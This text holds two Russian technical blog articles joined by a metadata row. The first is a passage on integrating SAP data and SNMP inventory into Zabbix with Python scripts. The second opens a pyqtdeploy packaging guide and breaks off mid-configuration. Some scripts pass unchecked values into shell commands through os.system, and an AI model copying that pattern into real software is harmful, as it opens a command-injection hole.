Был сделан парсинг нашего файла с хостами сети (IPAM в excel), он и переформатирован в xml, который «Заббикс» согласен переварить. Не с первого раза, но все хосты были вгружены, актуализацию проводили раз в три месяца, удаляя закрывшиеся объекты и добавляя новые. Со временем получилось так, что Zabbix стал главным и единственным источником информации для нас и горячей линии по доступности объектов и, главное, по массовым падениям. Это позволило горячей линии узнавать о массовых авариях даже ночью, и будить инженеров звонками (к слову, когда никто об этом не знал, жить было проще). Не всегда ночные отключения питания в офисе позволяли ИБП достойно поддерживать мониторинг нашей сети. В какой-то момент мы стали **уже** делать бекапы. Т.к. мониторинг работал нестабильно и с перебоями, в компании приняли решение организовать группу, занимающуюся только этой задачей. Очень скоро она занялась внедрением централизованного Zabbix, который проверяет не только сеть.
Наш старенький Zabbix продолжал жить под столом. После добавления определенного количества item’ов стала немного тормозить база, web, очередь и задержка опроса вырастала, так что вскоре пришлось обзавестись еще двумя компьютерами в качестве proxy и поставить их все в кроссовую, чтобы уж настоящее резервирование (да и место под столом закончилось). Жизнь в нем поддерживалась, чтобы быстро добавлять какой-то кастомный параметр в мониторинг и наблюдать за ним. В остальном мы переехали на централизованный.
Централизованный мониторинг занимался всем IT-оборудованием – роутерами, серверами, кассами, терминалами. Спустя время он оброс огромным количеством item'ов. Для доступа к бесценной информации о доступности необходимо было слегка подождать, возможно, даже выпить кофе. К тому же у нас появлялось все больше требований к более специфичному и кастомному мониторингу сети. Имея на тот момент некоторый опыт по работе с системой, мы решили сделать старое внедрение с нуля, но уже правильно, — под названием zabbix.noc.x5.ru Он разместился в ЦОДе с реализацией необходимых нам функций by ourselves. Об этом то внедрении и основное тело статьи.
Версия Zabbix – 3.0 LTS. Обновляемся только в рамках LTS версий.
Конфигурация – 4 виртуальных машины: Server+Database, Proxy, Proxy, Web
По ресурсам старались следовать рекомендациям на [zabbix.com](https://www.zabbix.com/documentation/3.0/ru/manual/installation/requirements) для большого и очень большого внедрения.
Первая проблема, которая перед нами встала – это автоматическое добавление узлов сети в мониторинг. Штатный дискаверинг отпал сразу. Наш диапазон сетей находится на всех просторах супернета 10/8. Очень много адресов приходилось бы опрашивать и автоматическое обнаружение занимало бы много ресурсов системы, но не решало бы задачи добавления нетехнической информации об объекте.
 Как добавляли объекты
---------------------
Решением стало использование внешних скриптов для добавления объектов. Мастер-данные по торговым объектам нашли в используемом в компании SAP'е. Синхронный доступ к *web-service* для выгрузки данных напрямую из SAP не вышел, запрос по всем объектам выполнялся довольно долго. Сделали асинхронный вызов. Ровно в полночь полная выгрузка из SAP складывается на ftp в виде *XML*, а в течение дня на него попадают *XML*’ки с diff'ами от последних версий.
Для загрузки данных в Zabbix использовался **Zabbix API**, а взаимодействовали с ним из *Python*.
На первом этапе был определен набор данных, который необходим нам для создания объекта. Все полученные признаки используем для правильной классификации объекта в системе или для дальнейшего удобства. К таким признакам относятся:
* *IP Address* – самое главное поле, для создания интерфейса мониторинга
* *SAP ID* – у нас уникальный идентификатор объекта
* *Status* – открыт/закрыт
* *Name* – название или номер объекта, часто используется пользователями при обращении
* *Location* – физический адрес
* *Phone* – контактный телефон
* *Groups* – этот набор групп формируем исходя из типа и расположения объекта
### Модуль sap-sync.py
**XML из SAP**
```
xml version="1.0" encoding="ISO-8859-1"?
1234
4321-Пятерочка
192.168.1.50
31
308580
с.Мониторинговое
Москвоская обл.
Ленина ул.
1
(999)777-77-77
CH
CH\_MSK
Регион Центральный
CH\_MSK\_D
Объект открыт
```
**sap-sync.py**
```
#!/usr/bin/python3
import sys, os, getopt, ipaddress
from datetime import datetime as dt
from zabbix.api import ZabbixAPI
import xml.etree.cElementTree as et
from report import report
import existhost
def ping(ip):
if os.system('ping -c 2 -W 1 %s > /dev/null'%ip) == 0:
return True
else:
return False
def main(argv):
global opath
try:
opts, args = getopt.getopt(argv,"hp:",["path="])
except getopt.GetoptError:
print('sync-sap-chg.py -p ')
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print('sync-sap-chg.py -p ')
sys.exit()
elif opt in ("-p", "--path"):
opath = arg
def asynchronization(file, reportdata):
zapi = ZabbixAPI(url='http://z.noc.x5.ru', user='user', password='pwd')
#Константы, которые потом пригодятся
left\_kidney = '17855'
right\_kidney = '17856'
f\_type={'S':'Super','D':'DK','H':'Giper','A':'DK'}
format={'D':'13','S':'14','H':'12','A':'13'}
region={'CT':'21','UR':'19','SZ':'17',~omit~}
try:
#Начинаем разбор XML
tree = et.ElementTree(file=file)
root = tree.getroot()
for werks in root.iter('werks'):
#Создаем структуру словаря для объекта Zabbix
interfaces=[{
'main':'1',
'type':'2',
'useip':'1',
'port':'161'
}]
shop={
'inventory':{},
'interfaces':interfaces,
'groups':[],
'templates':[{'templateid':'10194'}],
'inventory\_mode':'1'
}
#Данные, которые будем искать в XML
di = {
'WERKS':'',
~omit~,
'STATUS':'Object Opened'
}
#Переводим все в словарь
for item in werks:
di[item.tag] = item.text
#Достаем из SAPID только цифры
if item.tag == 'WERKS':
n\_proxy = ''.join(filter(lambda x: x.isdigit(), item.text))
#Находим IP роутера по адресу сервера. Подсеть везде /26
try:
ipaddress.ip\_interface('%s/%s'%(di['PLANT\_IP'].strip(),26))
ip\_chk = True
except:
ip\_chk = False
#Дальнейшая обработка, только если IP адрес верный
if (di['PLANT\_IP'] != '1.1.1.1') and ip\_chk:
#Записываем данные в словарь
if di['FORMAT'][-1] in ['D','A','S','H']:
shop['inventory']['alias']=di['WERKS']
shop['inventory']['name']=di['NAME1']
shop['inventory']['poc\_1\_phone\_a']=di['TEL\_NUMBER']
shop['inventory']['location']=di['STREET']
#Особенности для каждого формата
if (di['FORMAT'][-1] in ['H']):
shop['host']=f\_type[di['FORMAT'][-1]]+di['WERKS']
shop['interfaces'][0]['ip']=str(ipaddress.ip\_interface('%s/%s'%(di['PLANT\_IP'].strip(),24)).network[1])
#Добавляем ID шаблона мониторинга для объекта
shop['templates'][0]['templateid']='29529'
elif (di['FORMAT'][-1] in ['S']):
~omit~
#For D balance in proxies
if int(n\_proxy[-1]) % 2 == 0:
shop['proxy\_hostid'] = right\_kidney
else:
shop['proxy\_hostid'] = left\_kidney
#В inventory тоже добавим IP
shop['inventory']['oob\_ip']=shop['interfaces'][0]['ip']
#Назначение групп по словарям format и region
shop['groups']=[{'groupid':'9'}]
shop['groups'].append({'groupid':format[di['FORMAT'][-1]]})
shop['groups'].append({'groupid':region[di['FORMAT'][:2]]})
#Проверка статуса магазина
if di['STATUS'] == 'Объект открыт':
shop['status']='0'
else:
shop['status']='1'
#Записать текущую дату
T = dt.date(dt.now()).strftime("%d %B %Y")
shop['inventory']['date\_hw\_decomm'] = T
#Проверить есть ли такой хост в Zabbix
hostid = existhost.exist(shop['host'])
ip = shop['interfaces'][0]['ip']
#Если новый - создаем!
if hostid == 0 and shop['status'] == '0' and ping(ip):
zapi.host.create(shop)
reportdata['new'].append(di['WERKS'])
#Если уже есть - обновляем!
elif hostid != 0 and di['PLANT\_IP'] != '1.1.1.1':
#Указываем какой HOSTID обновляем
shop['hostid']=hostid
#При обновлении нужно отрезать интерфейсы
shop.pop('interfaces')
zapi.host.update(shop)
reportdata['update'].append(di['WERKS'])
#Переместить обработанный файл в архив
os.system('mv %s /mnt/ftp/old\_data/'%(file))
except:
reportdata['error'].append(di['WERKS'])
report('Ошибка с файлом %s. Объект с ошибкой:%s'%(file, str(reportdata['error'])), 'SAP Sync Failed!')
sys.exit()
def checking(path):
files = os.listdir(path)
files.sort()
reportdata ={'new':[], 'update':[], 'error':[]}
for file in files:
asynchronization(path+file, reportdata)
if files != []:
report('Файлы %s успешно синхронизированы! \n Добавлено %s объектов. \n Их sap:\n %s. \n Обновлено %s объектов. \n Их sap:\n %s'%(str(files), len(reportdata['new']), str(reportdata['new']), len(reportdata['update']), str(reportdata['update'])), 'SAP Sync Succeed!')
if \_\_name\_\_ == "\_\_main\_\_":
main(sys.argv[1:])
checking(opath)
```
Основное назначение этого модуля — парсинг *XML* и перевод в JSON для API Zabbix. Очень удобно в этом случае использовать словари Python, т.к. не нужно их дополнительно форматировать, — с использованием модуля zabbix.api можно просто скормить ему словарь с правильной структурой. *JSON* со структурой выглядит так:
```
{
'host': 'Hostname'
'groups': [...]
'interfaces': [{},{},{}]
'inventory': {}
'templates': [{},{},{}]
'inventory_mode': '1'
'proxy_hostid': 'INT'
'status': '0'
}
[] - массив
{} - словарь
```
У нас в поле с IP- адресом в SAP хранится адрес сервера, а не маршрутизатора, но с помощью модуля ipaddress считаем первый адрес подсети, который в нашем случае всегда роутер.
```
str(ipaddress.ip_interface('%s/%s'%(di['PLANT_IP'].strip(),24)).network[1])
```
Дату последнего успешного обновления записываем в *Inventory*, в спорных ситуациях помогает понять, насколько актуальна информация в системе.
```
#Записать текущую дату
T = dt.date(dt.now()).strftime("%d %B %Y")
shop['inventory']['date_hw_decomm'] = T
```
Потом в инвентарных данных очень удобно смотреть статистику по дате обновления:
Самое главное поле – **STATUS**, *«открыт»* – добавляется и начинает мониториться, любой другой статус — деактивирует узел сети. Объекты не удаляем, чтобы сохранить исторические данные и статистику.
После тестов пришлось дописать функцию пинга, чтобы перед первичным добавлением проверять доступен ли хост, т.к. на практике стали попадаться статусы *«Открыт»*, которые не совсем еще открыты, но уже почти.
```
def ping(ip):
if os.system('ping -c 2 -W 1 %s > /dev/null'%ip) == 0:
return True
else:
return False
```
Ранее в Zabbix API была функция **host.exist**, но в новых версиях ее совместили с **host.get**. Если узел существует, то запрос возвращает *hostid* в базе zabbix’а. Если не найден — возвращает 0. Для проверки теперь пришлось дописать existhost, но по факту это **host.get**.
**existhost.py**
```
#!/usr/bin/python3
import sys, getopt
from zabbix.api import ZabbixAPI
def main(argv):
global aname
try:
opts, args = getopt.getopt(argv,"hn:",["name="])
except getopt.GetoptError:
print('existhost.py -n ')
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print('existhost.py -n ')
sys.exit()
elif opt in ("-n", "--name"):
aname = arg
def exist(name):
zapi = ZabbixAPI(url='http://z.noc.x5.ru/', user='user', password='pwd')
hostget = zapi.host.get(search={'name':'%s'%name}, output='hostid')
if hostget == []:
return 0
else:
return int(hostget[0]['hostid'])
if \_\_name\_\_ == "\_\_main\_\_":
main(sys.argv[1:])
print(exist(aname))
```
Напоследок собираем информацию о проведенной работе, добавляем в логи, репорты и перемещаем обработанный файл в хранилище в OLD.
**report.py**
```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import smtplib, sys
from email.mime.text import MIMEText
def report(message, subject):
me = 'zbx-scripts@x5.ru'
you = 'mail@x5.ru'
smtp_server = 'smtp.ru'
msg = MIMEText(message)
msg['Subject'] = subject
msg['From'] = me
msg['To'] = you
s = smtplib.SMTP(smtp_server)
s.sendmail(me, [you], msg.as_string())
s.quit()
if __name__ == '__main__':
report(sys.argv[2], sys.argv[1])
```
В целом база для мониторинга готова, пускаем скрипт в cron для автозапуска и забываем.
Как заполняли inventory
-----------------------
*Мы уже не мы, мы — сетевики.*
Второй этап – наполнение объектов данными, которые необходимы инженерам для работы. Необходимо видеть все данные для решения инцидента в одной системе, чтобы не бегать по разным системам, собирая информацию по кусочкам из разных источников. И так как основные технические данные в мониторинге, то остальные мы также втягиваем в мониторинг.
Для сбора и передачи необходимой информации в Zabbix был написан **inventory.py**, который в большой степени занимается сбором данных по SNMP с оборудования, и в меньшей парсингом Excel-файла.
Напрашивается вопрос — почему бы не использовать встроенные *item*’ы и заносить их результат в *inventory* средствами самого Zabbix? Ответа три:
1. Недостаточная вложенность действий, т.к. часто необходимо вытянуть значение по SNMP и использовать результат в следующем запросе.
2. Запускать один раз в день сбор данных по всем узлам внешним скриптом не нагружает основную деятельность мониторинга и не образуется очередь по item’ам
3. Есть данные, которые не собрать по SNMP
Данные по провайдерам, без которых не обойтись инженерам 1-й и 2-й линии, хранятся в excel-файле на общем сетевом диске и актуализируются менеджерами, ведущими договоры по связи. Интеграция с файлом вызывала большие сомнения — парсинг excel, заполняемого вручную, который может поменять структуру, название, расположение и т.д., скорее всего будет постоянно вываливать ошибки. Но из-за отсутствия другого актуального источника таких данных пришлось использовать его. Чтобы как-то обезопасить себя от постоянных правок скрипта, договорились с менеджерами о структуре и корректном заполнении, объяснили, как будет выполняться автоматическая выгрузка и что важно соблюдать текущую структуру. На практике, конечно, возникали ошибки, но мы довольно быстро их отслеживали, ругались, но исправляли.
**inventory.py**
```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys, json, pysnmp, ipaddress, xlrd
from datetime import datetime as dt
from pysnmp.entity.rfc3413.oneliner import cmdgen
def snmp(host, operation, *oid):
generator = cmdgen.CommandGenerator()
auth_data = cmdgen.UsmUserData('user', 'pwd', 'hash')
transport = cmdgen.UdpTransportTarget((host, 161))
getAtt = getattr(generator, '%sCmd'%operation)
rst = (errorIndication, errorStatus, errorIndex, varBinds) = getAtt(auth_data, transport, *oid)
if not errorIndication is None or errorStatus is True:
return "Error: %s %s %s %s" % rst
else:
if operation=='get':
return varBinds
elif operation=='next':
result=[]
for var in varBinds:
result.append(var)
return result
def xlsdata(file, sap):
rb = xlrd.open_workbook(file)
sheet = rb.sheet_by_index(0)
base = {}
for i in range(0, sheet.nrows-1):
sapnum = str(round(sheet.cell(i,4).value)) if isinstance(sheet.cell(i,4).value,float) else sheet.cell(i,4).value
name = str(round(sheet.cell(i,8).value)) if isinstance(sheet.cell(i,8).value,float) else sheet.cell(i,8).value
if sap.upper() == sapnum.upper():
base = {
'type' : (sheet.cell(i,2).value),
'serialno_a' : (sheet.cell(i,13).value),
'serialno_b' : (sheet.cell(i,20).value),
'tag' : ('2') if sheet.cell(i, 20).value != '' else ('1'),
'macaddress_a' : (sheet.cell(i, 15).value),
'macaddress_b' : (sheet.cell(i, 22).value)
}
base['date_hw_purchase'] = dt.date(dt.now()).strftime("%d %B %Y")
return (base)
def inventory(host, sap):
BGPASBASE={}
for line in open('/path/a.prokhorov/integration/BGP-AS-BASE.cfg'):
if ':' in line:
line = line.split(':')
BGPASBASE[line[0]]='%s(%s)'%(line[1].rstrip(), line[0])
### Get Data from Operator
shop = xlsdata('/mnt/oprf/providers_base.xlsx', sap)
shop['date_hw_expiry'] = 'Failed'
### Get SNMP data
shop['host_router'] = 'None'
shop['host_netmask'] = 'None'
shop['host_networks'] = 'None'
try:
### Get Networks from router
networks = ''
for ip,mask in snmp(host, 'next', 'iso.3.6.1.2.1.4.20.1.1', 'iso.3.6.1.2.1.4.20.1.3'):
networks = networks+str(ipaddress.ip_interface(u'%s/%s'%(ip[1].prettyPrint(), mask[1].prettyPrint())))+'\n'
shop['host_networks']=networks
### Get BGP information
bgppeers, ispnames = '',''
for peer,asbgp in snmp(host, 'next', 'iso.3.6.1.2.1.15.3.1.7', 'iso.3.6.1.2.1.15.3.1.9'):
asbgp = asbgp[1].prettyPrint()
bgppeers = bgppeers+peer[1].prettyPrint()+'\n'
ispnames = ispnames+(BGPASBASE.get(asbgp) if BGPASBASE.get(asbgp)!=None else asbgp)+'\n'
shop['host_router'] = bgppeers.strip()[:38]
shop['host_netmask'] = ispnames.strip()[:38]
### Get Vendor name and Model type
hardware = snmp(host, 'get', 'iso.3.6.1.2.1.47.1.1.1.1.13.1', 'iso.3.6.1.2.1.47.1.1.1.1.10.1', 'iso.3.6.1.2.1.47.1.1.1.1.12.1', 'iso.3.6.1.2.1.1.1.0', 'iso.3.6.1.2.1.47.1.1.1.1.7.1')
if str(hardware[0][1]) == '0235A325':
shop['model'] = hardware[4][1].prettyPrint()
else:
shop['model'] = hardware[0][1].prettyPrint()
shop['os_short'] = hardware[1][1].prettyPrint()
shop['vendor'] = hardware[2][1].prettyPrint()
version = hardware[3][1].prettyPrint()
os = version.split('\n')[0]
shop['os_full'] = version[:250]
shop['os'] = ''.join(os.split(',')[:2])[:60]
### Make indicators
shop['date_hw_expiry'] = 'Success'
shop['date_hw_install'] = dt.date(dt.now()).strftime("%d %B %Y")
except:
shop.pop('host_router')
shop.pop('host_netmask')
shop.pop('host_networks')
return shop
#return json.dumps(dict([('inventory',shop)]), sort_keys=True, indent=4)
if __name__ == "__main__":
print(inventory(sys.argv[1], sys.argv[2]))
```
**BGP-AS-BASE.cfg**`3216:Beeline
9002:Retn
2854:Orange
~omit~
8359:MTS`
Файл *BGP-AS-BASE.cfg* представляет собой соответствие номера *AS* и названия провайдера. Нужен, чтобы определять провайдера, с которым установлено *BGP* (вдруг в файлике с договорами ошибка). Не использовалась внешняя база, т.к. есть много приватных номеров *AS*.
В части SNMP:
* запрашиваем у роутера подсети по OID *1.3.6.1.2.1.4.20.1.1* и маски подсетей по *OID* *1.3.6.1.2.1.4.20.1.3* в одном запросе. Обрабатываем, переводим в вид *x.x.x.x/xx* и записываем в ячейку *host\_networks*.
* запрашиваем данные о ip адресах *BGP* пиров, а также их *ASN*, находим в созданной нами базе имя провайдера по номеру. Записываем их в поля *host\_router* и *host\_netmask*. Важно сразу сделать ограничение на 38 символов, т.к. эти поля не поддерживают большее количество. У нас названия полей в БД не всегда совпадают с данными, которые они хранят, т.к. использовали уже существующие поля в БД Zabbix, чтобы не возится с созданием новых полей в таблице. Правильные названия полей правили в WEB'е, путаницы не было.
* выгружаем данные по вендору, модели и софту оборудования. Парсим, пишем в переменные. Конструкция, связанная с записью модели железки связана с тем, что у *Cisco* в некоторых моделях название пишется в другой OID(чаще всего для шасси), поэтому пришлось сделать дополнительную проверку данных.
Весь блок связанный с SNMP заключен в *try-except*, чтобы в случае отсутствия на оборудовании SNMP скрипт не вываливался, и мы хотя бы получили данные из Excel по провайдерам. Для понимания какая часть скрипта выполнилась, а какая нет — успешность SNMP блока записываем в поле *date\_hw\_expiry*, плюс записываем дату, когда последний раз смогли снять все данные по SNMP, и дату когда последний раз смогли найти данные в Excel файле.
Все это возвращается в виде готового для Zabbix’а *JSON*.
Обновление всех инвентарных данных запускается раз в день, выполняя выгрузку всех хостов и запуская ***inventory.py*** для каждого объекта.
**mp-update.py**
```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from multiprocessing import Pool
import time
from zabbix.api import ZabbixAPI
from inventory import inventory
from report import report
def updating(shop):
try:
shop['inventory'] = inventory(shop['interfaces'][0]['ip'], shop['host'][-4:])
shop.pop('interfaces')
shop['inventory_mode'] = '1'
shop.pop('host')
print (shop['hostid'])
return zapi.host.update(shop)
except:
print(">>>",shop['hostid'])
with open ('/home/local/integration/error.txt', 'a') as err:
err.write(shop['hostid'])
err.write("\n")
if __name__ =='__main__':
t = time.time()
zapi = ZabbixAPI(url='http://z.noc.x5.ru/', user='user', password='pwd')
shopbase = zapi.host.get(output=['host', 'hostid'], groupids= ['12', '13', '14'], monitored="1", selectInterfaces=['ip'])
pool = Pool(processes=10)
p=[0 for x in range(0,len(shopbase))]
for i in range(0, len(shopbase), 10):
print ("Index:", i,"\n",shopbase[i],"\n")
pool.map(updating,shopbase[i:i+10])
pool.close()
pool.join()
print(time.time()-t)
report('Инвентарные данные обновлены в Zabbix.', 'Inventory updating succeed')
```
Используется multiprocessing (пример взят с бескрайних просторов интернета). Для поиска используем *SAP ID*, который у нас присутствует в названии хоста. Полученный вывод записываем *update*’ом в Zabbix.
### Summary
Для осуществления всех интеграций, автообновления и актуализации встроенных механизмов API Zabbix более чем достаточно. Основные используемые функции — это *host.get*, *host.create* и *host.update*, которые вместе позволяют полностью управлять созданием и обновлением базы объектов мониторинга. Данные на вход этих функций можно подавать из любых систем и источников, которые есть в наличии.
Основные модули python, которые помогли нам справится с этой задачей: *pysnmp*, *xlrd*, *zabbix.api*, *xml*, *ipaddress*, *json*.
*xlrd* – парсинг excel.
*xml* — парсинг XML.
*pysnmp* – вытаскивание данных по SNMP с оборудования.
Взаимодействие по SNMP легче чем по SSH, как минимум потому что на практике железка более быстро отзывается на SNMP, чем на соединение по SSH, парсинг ответов SNMP практически не нужен, хотя CLI различных вендоров часто сильно разнится друг от друга, а выводы одной и той же команды могут отличаться даже в разных моделях одного вендора.
Основные применяемые *OID*'ы:
*iso.3.6.1.2.1.4.20.1.1* — адреса всех интерфейсов роутера
*iso.3.6.1.2.1.4.20.1.3* — маски подсетей всех интерфейсов роутера
*iso.3.6.1.2.1.15.3.1.7* — все BGP пиры роутера
*iso.3.6.1.2.1.15.3.1.9* — AS всех BGP пиров роутера
*iso.3.6.1.2.1.47.1.1.1.1.13.1* — модель
*iso.3.6.1.2.1.47.1.1.1.1.10.1* — краткая версия софта
*iso.3.6.1.2.1.47.1.1.1.1.12.1* — вендор
*iso.3.6.1.2.1.1.1.0* — подробная версия софта
*iso.3.6.1.2.1.47.1.1.1.1.7.1* — модель, тип шасси
*Dashboard* пришлось немного дописать, чтобы разделить проблемы по торговым сетям и не мешать их в кучу. Также добавить несколько полей, например ip, имя провайдера и адрес, чтобы в случае массовой аварии достаточно было copy-paste из браузера в письмо все объекты с проблемой, сразу со всеми необходимыми для провайдера данными.
Отдельно был написан *«Workview»*, в котором мы можем найти всю собранную информацию, плюс графики, которые собираются для данного объекта.
 | https://habr.com/ru/post/438754/ | null | ru | null |
# pyqtdeploy, или упаковываем Python-программу в exe'шник… the hard way
Наверняка, каждый, кто хоть раз писал что-то на Python, задумывался о том, как распространять свою программу (или, пусть даже, простой скрипт) без лишней головной боли: без необходимости устанавливать сам интерпретатор, различные зависимости, кроссплатформенно, чтобы одним файлом-exe'шником (на крайний случай, архивом) и минимально возможного размера.
Для этой цели существует немало инструментов: *PyInstaller*, *cx\_Freeze*, *py2exe*, *py2app*, *Nuitka* и многие другие… Но что, если вы используете в своей программе *PyQt*? Несмотря на то, что многие (если не все) из выше перечисленных инструментов умеют упаковывать программы, использующие PyQt, существует другой инструмент от разработчиков самого PyQt под названием [pyqtdeploy](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/). К моему несчастью, я не смог найти ни одного вменяемого гайда по симу чуду, ни на русском, ни на английском. На хабре и вовсе, если верить поиску, есть всего одно упоминание, и то — в комментариях (из него я и узнал про эту утилиту). К сожалению, официальная документация написана довольно поверхностно: не указан ряд опций, которые можно использовать во время сборки, для выяснения которых мне пришлось лезть в исходники, не описан ряд тонкостей, с которыми мне пришлось столкнуться.
Данная статья не претендует на всеобъемлющее описание *pyqtdeploy* и работы с ним, но, в конце концов, всегда приятно иметь все в одном месте, не так ли?
**Замечание.** В статье исполняемый файл собирается под linux. Несмотря на это, в качестве синонима используется слово "exe'шник" для экономии букв и уменьшения числа повторений.
Все началось с того, что мне захотелось один мой проект запихнуть в исполняемый файл со всеми зависимостями (вы и сами уже догадались). Сначала я решил попробовать провернуть эту операцию с помощью PyInstaller — шикарный инструмент, простой, хорошо документированный. Но на выходе я получил папку размером 170 МБ (для сравнения, весь PyQt5 весил около 180 МБ). Поковырявшись в собранных либах, я понял, что используемые мной модули — QtCore, QtGui, QtWidgets — тащат с собой почти весь пакет. Попытки поиграться с опцией `--exclude-module` не увенчались успехом. Справедливости ради, если использовать опцию `--onefile` и включить сжатие, то получится файл размером 60 МБ, что все равно много. К тому же, во время запуска происходит разархивирование программы во временную папку, что увеличивает время старта и все равно (пусть и где-то там) отжирает все те же 170 МБ.
Тут мне подвернулся pyqtdeploy. "Утилита от самих разработчиков PyQt… Ну уж они-то должны знать, как по-максимуму отвязаться от лишних зависимостей внутри PyQt и Qt?" — подумал я и взялся плотненько за сей агрегат.
Так что же такое pyqtdeploy? В первом приближении, то же самое, что и выше перечисленные программы. Все ваши модули (стандартная библиотека, PyQt, все прочие модули) упаковываются средствами Qt (используется утилита rcc) в так называемый файл ресурсов, генерируется обертка вокруг питоновского интерпретатора на C++, позволяющая получать доступ ко все вашим модулям, и потом все это пакуется/компилируется/… в исполняемый файл. Для работы самого pyqtdeploy нужны Python 3.5+ и PyQt5. Перечислим несколько особенностей (за подробностями [сюда](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/introduction.html) и [сюда](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/overview.html)):
* может собирать exe'шники на основе PyQt4 и PyQt5, Python 2.7 и Python 3.3+ (максимальная поддерживаемая версия на данный момент Python 3.7.2);
* позволяет статически (все пихаем в exe'шник) и динамически привязывать зависимости (использовать уже установленные в системе библиотеки, пакеты — с рядом ограничений);
* поддерживаемые платформы:
+ android-32;
+ android-64;
+ ios-64;
+ linux-64;
+ macos-64;
+ win-32;
+ win-64;
* также позволяет собирать несвязанные с PyQt и Qt программы, но из-за тесной интеграции с QtCore, будет тянуть оттуда кое-что в качестве зависимостей.
### Установка pyqtdeploy
Как уже было сказано выше, у нас должен быть установлен Python 3.5+ и PyQt5:
```
pip install PyQt5 pyqtdeploy
```
Сборка нашего exe'шника состоит из нескольких этапов:
* Разработка нашей Python-программы, как обычно (сюрприз!);
* Сборка так называемого **sysroot** для нашей платформы, где будут лежать собранные из исходников нужные зависимости;
* Создание "проектного" файла с расширением **.pdy**, где будет вся необходимая информация для сборки нашего exe'шника (пути к собранным Qt, PyQt, Python, прочим библиотекам и модулям и другие опции);
* Собственно сборка exe'шника с помощью qmake.
### Структура программы
Возьмем в качестве примера проект со следующей структурой: *main.py* — "точка входа" для нашей программы, она вызывает *mainwindow.py* — допустим, отрисовывает окошечко с виджетами и берет из *resources* иконку *icon.png* и *mainwindow.ui*, сгенерированный нами с помощью Qt Designer. Имеющиеся зависимости, версии библиотек и прочие необходимые вещи будут всплывать по ходу повествования:
```
main.py
src/
|---__init__.py
|---gui/
|---mainwindow.py
|---__init__.py
|---resources/
|---__init__.py
|---images/
|---icon.png
|---__init__.py
|---ui/
|---mainwindow.ui
|---__init__.py
```
### Обзор плагинов sysroot ([документация](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html))
Как уже было сказано ранее, на этом этапе мы собираем все необходимые части, которые затем будут использоваться при генерации исполняемого файла. Данный процесс осуществляется с использованием конфигурационного файла *sysroot.json* (в принципе, вы можете назвать его как хотите и указать затем путь к нему). Он состоит из блоков, каждый из которых описывает сборку отдельного компонента (Python, Qt и т.д.). В pyqtdeploy реализован [API](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html#writing-a-component-plugin), позволяющий вам написать свой плагин, управляющий сборкой необходимой вам библиотеки/модуля/whatever, если он еще не реализован разработчиками pyqtdeploy. Давайте пробежимся по стандартным плагинам и их параметрам (примеры из документации):
**openssl** (не обязательный) — позволяет собирать из исходников или использовать установленную в системе библиотеку ([подробности](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html#openssl)). Компонент, описывающий данный плагин в *sysroot.json*, выглядит следующим образом:
```
"android|macos|win#openssl": {
"android#source": "openssl-1.0.2r.tar.gz",
"macos|win#source": "openssl-1.1.0j.tar.gz",
"win#no_asm": true
}
```
Первое, на что следует обратить внимание, это синтаксис: `arch1|arch2|...#plugin-name`. То есть мы можем выбрать, на какой платформе использовать этот плагин (ios, android, macos, win, linux), а на какой — нет. Более того, этот синтаксис применим и к параметрам внутри блока.
Параметры:
* source (обязательный) — имя архива с исходниками;
* no\_asm (не обязательный) — выключаем ассемблерные оптимизации. Если включен, в PATH должен быть установлен nasm;
* python\_source (не обязательный) — имя архива, содержащего патчи, необходимые для сборки OpenSSL под macOS для Python v3.6.4 и более ранних версий;
**zlib** (не обязательный) — используется при сборке других компонентов (если не указан, по идее, будет использоваться тот, что установлен в системе) ([подробности](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html#zlib)):
```
"ios|linux|macos|win#zlib": {
"source": "zlib-1.2.11.tar.gz",
"static_msvc_runtime": true
}
```
Параметры:
* source (обязательный) — очевидно, имя архива с исходниками;
* static\_msvc\_runtime (не обязательный) — статически привязать MSVC библиотеки (Windows);
**qt5** (обязательный) — тут понятно ([подробности](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html#qt5)):
```
"qt5": {
"android-32#qt_dir": "android_armv7",
"android-64#qt_dir": "android_arm64_v8a",
"ios#qt_dir": "ios",
"linux|macos|win#source": "qt-everywhere-src-5.12.2.tar.xz",
"edition": "opensource",
"android|linux#ssl": "openssl-runtime",
"ios#ssl": "securetransport",
"macos|win#ssl": "openssl-linked",
"configure_options": [
"-opengl", "desktop", "-no-dbus", "-qt-pcre"
],
"skip": [
"qtactiveqt", "qtconnectivity", "qtdoc", "qtgamepad",
...
],
"static_msvc_runtime": true
}
```
Параметры:
* qt\_dir (не обязательный, если указан source) — путь к папке с установленным Qt;
* source (не обязательный, если указан qt\_dir) — имя архива с исходниками Qt;
* edition (обязательный, если указан source) — один из 2 вариантов:
+ commercial;
+ opensource;
* ssl — 3 возможных варианта:
+ openssl-linked — будет собран из исходников (подробности должны быть указаны в описании компонента openssl);
+ securetransport — используется SSL, реализованный в Qt (который, в свою очередь, будет использовать Apple’s Secure Transport);
+ openssl-runtime — используется версия OpenSSL, установленная в системе;
* configure\_options — дополнительные опции, используемые при сборке Qt. Существует их целая прорва, смотрим [тут](https://doc.qt.io/qt-5/configure-options.html);
* skip — позволяет исключить из сборки ненужные модули (точнее говоря, top-level директории, содержащие модули). Открываем архив с исходниками Qt и видим папки, начинающиеся с qt — это и есть top-level директории. Имейте в виду, что эти папки могут содержать и те модули, что вам нужны. К сожалению, можно скипнуть только top-level директорию целиком ([подробности](https://doc.qt.io/qt-5/configure-options.html#excluding-qt-modules));
* disabled\_features — позволяет исключить выбранный функционал. Для просмотра всех возможных фич можно воспользоваться командой `configure -list-features` ([подробности](https://doc.qt.io/qt-5/configure-options.html#including-or-excluding-features))
* static\_msvc\_runtime (не обязательный) — статически привязать MSVC библиотеки (Windows);
**python** (обязательный) — тут тоже понятно ([подробности](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html#python)):
```
"python": {
"build_host_from_source": false,
"build_target_from_source": true,
"source": "Python-3.7.2.tar.xz"
